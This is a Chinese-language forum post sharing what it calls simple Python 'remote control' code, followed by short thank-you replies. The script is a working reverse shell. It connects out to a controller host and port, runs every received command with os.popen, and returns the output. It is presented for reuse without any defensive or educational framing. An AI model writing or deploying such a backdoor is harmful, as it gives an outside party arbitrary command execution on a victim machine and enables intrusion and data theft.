一个简单的Python实现远程控制的代码

查看 61|回复 6
作者:fei5788   
这个代码使用Python中的socket模块建立TCP连接,
并在连接上接收来自控制端发送的命令,并执行它们。
其中,host和port变量需要设置为目标主机的IP地址和端口号。
当命令为“exit”时,程序会退出循环并关闭连接。
[Python] 纯文本查看 复制代码import socket
import os
host = '127.0.0.1' # 输入目标主机的IP地址
port = 9999 # 输入端口号
s = socket.socket()
s.connect((host, port))
while True:
    cmd = s.recv(1024).decode() # 接收命令
    if cmd == 'exit': # 如果命令为exit,退出循环
        break
    output = os.popen(cmd).read() # 执行命令
    s.send(output.encode()) # 发送结果
s.close() # 关闭连接

微软, 命令

blindcat   

学习了,感谢分享
wuai666hjp   

支持支持
boy666   

是不是少了点啥
qiu1017830825   

每日逛一下好东西,就学习诶下!
MikeZhang   

感谢老哥分享
ZeHao666   

每日一逛
您需要登录后才可以回帖 登录 | 立即注册

返回顶部